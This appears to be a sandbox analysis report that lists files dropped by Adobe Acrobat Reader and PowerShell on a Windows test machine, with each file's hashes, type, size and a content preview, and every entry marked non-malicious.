SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfbPtdPeUkwRe9:YvXKXSAwVvR/ZwHAgYGDV8Ukee9
MD5:	B4718347EE6FAE879E0755218085C800
SHA1:	D73CD06A643E55F936264B997550C34349732D41
SHA-256:	A568CFAB6AED8E3D1BF8BAF0E8D96185CD0E3102A55C52E6F75861782A0A1A21
SHA-512:	353CB319BE234FA7A9758E25C2ED038848474A0655A75C11BBBFF13F2CA57C8042961A784AF770AE96DEB37DEBA3ABB24030F92CB9B369483C8CF7721983918F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272256699831141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJf21rPeUkwRe9:YvXKXSAwVvR/ZwHAgYG+16Ukee9
MD5:	10B450CDB67351E3ED5D465B632C7B10
SHA1:	B4B77333939F896B1580C066FF0629095E6524E8
SHA-256:	D256037F04D97A3F0225D435EDAA8F09FCA5FA2608F4A4BC1D1755C47DE38F92
SHA-512:	F1E0212BFE2770D6F0A0428BA59A3F6A9E67B2B8394235D1E891C5A63BCB4F5E7CB6BE8B9B26D67460DB7B276828E2EE84C154BC98E0A441E1DDA3EF40FE3FDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666907679860526
Encrypted:	false
SSDEEP:	24:Yv6XSAwVJhctamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSnY1Y:Yv3XVJhQBgkDMUJUAh8cvMnr
MD5:	81AA796BD7F541914C0166AA0C80A936
SHA1:	0F3B02919F416C5107956605A209596F1B839E6A
SHA-256:	273281897F706BBAB0134495230121783C3063A2CA5A4D2A9BCA2AF07A6FE68A
SHA-512:	5A180B379A7D73488B26B9E75065EEF992B1D1DAEB3656B89ABB075F42DC110E37969795D9A89B9B265B564C53E9C9088567456E84054857E33D7F6D1264DEB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248523078256495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJfshHHrPeUkwRe9:YvXKXSAwVvR/ZwHAgYGUUUkee9
MD5:	05793AC07F7C1E1A09853395008C879E
SHA1:	805A2B6F56E923E867E623836A9285E1EE227CC6
SHA-256:	86E3B5A00F65C413FEC35540021612B93623B567EAE190CFC72FEA7132374875
SHA-512:	50A9AEBF54A3936EB2D1A3BBC4AA46062CED85130255E5652E8CC1071C8DD9BB4471B770355AA47D8DB95B294D65597635900C7C8143586278EF7062F669EEEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.262486436143469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSAwEwvB3/dVlPIHAR0Yc3oAvJTqgFCrPeUkwRe9:YvXKXSAwVvR/ZwHAgYGTq16Ukee9
MD5:	694BA34FE58290F70924838AC2986F7E
SHA1:	24FA98D44712B55EAE72F090A33DCA3DFBCD635C
SHA-256:	B89781A45CED5E6E1122B138AC0A7331B0E3321383A8CDA3D13AFA47841FFB13
SHA-512:	0AC9FCCA47D81301DDAD70D415392AB1563C1F69E83CCCC88F98C6328EC3EA28D925BDCB668D776EDBAB1637D984AF17023627B4A5A6D74BD17D90C039BAA593
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"30f64caa-8bf0-4a57-b151-24b0c50e5c30","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721108959,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139085971488379
Encrypted:	false
SSDEEP:	48:YxCeDX44fRQxQ+pq3P/4kQGXmeL5D9LX1:XeDXgxQ+43VQG2kxT1
MD5:	115C92E4A1CA84812E3F9311FEF1A88F
SHA1:	0D411202B046B4ED551BA5BFFEDB56E0F1A447D2
SHA-256:	7364D8857DE0EFEACE5B407E8515E9BCF9C9C5F171AE9C6E9AFD84636CB8FB19
SHA-512:	66FD4F8DB9B6F4C31B6B748D5D9D7F1C04A80857466C0DE7379D37E7AC7253433080A4E8CE107A322277CB432A73F2FAAD38FC174B081DB6E0E069DCF8CF77AB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"11744c9a8784b6456b55365a9d62582d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736546673000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"56f61f618e26c4c842ce02e228f550ef","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736546673000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"37051a0626e22dc06c8e44d7c2a2bb99","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736546673000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b49920bfbd1eb28965e4a349c58b6a14","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736546673000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"23fd07a3d0c5093119302736381f690d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736546673000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bce737e6e80f2208a3226cf8091db8af","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.318207466672156
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeaGqtqVU:TGufl2GL7ms9WR1CPmPbPah1sypilIP6
MD5:	9E3B7529060F613F50C1137BE276E7C4
SHA1:	1B4C560B78FE386F03C7A8F07929A01C90162C9F
SHA-256:	F408FA0F9E093B3A08FFF58CFD588BA6D737A1DA554B0472254A563D2C7A505D
SHA-512:	3C06EF2C3B47704BBF0D01D2F495D215110ACC945B23F65847605A1671B1D5CE5DB180955DAC55516984B31F30EE67CD7727BBAF89AA75D2B0FD39C07254F249
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7820634856713973
Encrypted:	false
SSDEEP:	48:7MZWR1CPmPbPah15ypilIJqFl2GL7msaKn:70WfMwbPah158KVmsn
MD5:	E84CB03C928A3993FF90AFB5BD88DE26
SHA1:	E28688DC9557E5AE0D71A767EFA0855C91865FAF
SHA-256:	8277B61B9630B8C479A1E436693C15DC07775935B2D932FEE6B2AC42CFBD63BA
SHA-512:	8A83DC7525F72585D3E1599884E4EAD100ACD66CB491518595457B1A75A4C082DA5BA581B33B21D1888700072F7651C503E7DE62FDA7F1965BB88583E8686519
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNqJVuCCQwTd17Xr+sYZBCCMLbYyu:6a6TZ44ADEUJVuCc7XpKCzXK
MD5:	FA1CAFD74D3844DF8554F0333CDCC857
SHA1:	F66081616AEF3E97D42979C40AB2877646EF965B
SHA-256:	C09A289E98B3FD27409DB311D916551018A72ADFCACBB94DFD646FA00A9A4870
SHA-512:	4414050B34179307EF0DEF06BD3BC8CE32DBD2DF7DD9EE0721623F68BC6A9F72AF7E1A23A3BE60E9A8760291EF114AA0DE053E1858A5B7D7E5A3F68BB363A09A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulrogh:NllU8g
MD5:	5BC33C315308F593C5554C76087D7AD2
SHA1:	63B5F34BD7CFF796A1815A9209B2DFA940DD6E9F
SHA-256:	0A3CFFB1EC9999AD829D78A96CA7C2206C703DB59BE9DFFFE6228F035D680349
SHA-512:	730B30C3A08A7818BA684497D3D42F6AC0006D5E55BF8AF17E35C2684721DCB00742902E3E6E074858CE3367B6EFC96CD47FA14A516C37A7D7A77FDE86A7ACA5
Malicious:	false
Preview:	@...e.................................z.E............@..........

C:\Users\user\AppData\Local\Temp\MSIa50c5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEeH:Qw946cPbiOxDlbYnuRK+bDU
MD5:	2FB776DC7C79B4027C297F52B9401764
SHA1:	337E666FDB957ED710AD068E71AC64E1EC304B3B
SHA-256:	0CF25042423174155716A835104D3A8AF8D7988FF3CC128302E34324B17A3468
SHA-512:	2BCC55CC5C8CD843AF1C7BA7000CDDBC3084D00E2388C440DA732BAA0107724231C0FDFEA23AEC39DC1F552C623E2991FEF019DCAFC164F295E0C8BF01579272
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.0.4.:.3.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2b4l0ins.jda.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ygmmzk0.r22.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-04-25-435.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15099
Entropy (8bit):	5.342176654323953
Encrypted:	false
SSDEEP:	384:0mplblKlzl5lAlpnlYlLlxlLl9el4lolO0ZTiT2TATMEvED1C1N1F1XuXKX8h2hz:0QZ0Bry3nKpn9De6C4K+aU4yqIT5+6M0
MD5:	0FD0F6CF4C849DCC1C567299B12BBDED
SHA1:	4345241F85CA37F6FDCA140D34527D24F8D5F6E7
SHA-256:	E2F54D6F151FAC5732D0EECDBA8CB29AE50DCD79A14E5E8444DC7822E3FCC022
SHA-512:	F074234B0B2672DFE9C4C752C81DE757A22148DDDBD963E474D9B07070A66DC3EF272EA919E7F4F64A1E8C838AA890914C66DDA3909BBC373E7E3F1F738F21A9
Malicious:	false
Preview:	SessionID=c0361adc-53ea-4aa0-a7e8-188c9b95fa2d.1736546665450 Timestamp=2025-01-10T17:04:25:450-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c0361adc-53ea-4aa0-a7e8-188c9b95fa2d.1736546665450 Timestamp=2025-01-10T17:04:25:462-0500 ThreadID=6952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c0361adc-53ea-4aa0-a7e8-188c9b95fa2d.1736546665450 Timestamp=2025-01-10T17:04:25:462-0500 ThreadID=6952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c0361adc-53ea-4aa0-a7e8-188c9b95fa2d.1736546665450 Timestamp=2025-01-10T17:04:25:462-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c0361adc-53ea-4aa0-a7e8-188c9b95fa2d.1736546665450 Timestamp=2025-01-10T17:04:25:462-0500 ThreadID=6952 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403036649920646
Encrypted:	false
SSDEEP:	384:ceo4+rsCSs66+365YgqHIXsdMXs6/cDYsMQ5Mdr85:Ts66+365YgqHIXsdMXs6/cDYsMQ5MdO
MD5:	3AC5CB8A0C6760CF9F976C4E84026352
SHA1:	77CC4CF36B0EE376FB244A2AA2AA8389EE781013
SHA-256:	0DCA5F803717FB627B21C495E35B184E2DC8D61F3B8D62AA04761E4D7297DEC7
SHA-512:	83FBA9E17254DC8235D21EE927898A1AE2CBA75FD51B73934BBE76B0C26157E5B4C25F3CD00F60321D16499C87FF03E4470436A5BE719860ECA2610AC12256F0
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\60f4f1e9-7945-42d6-b109-416fb4d2da04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\63bfa26a-dd05-408a-b491-4168ab6cdb8b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a3a8814c-a0c7-4223-a0ff-4f920b056796.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
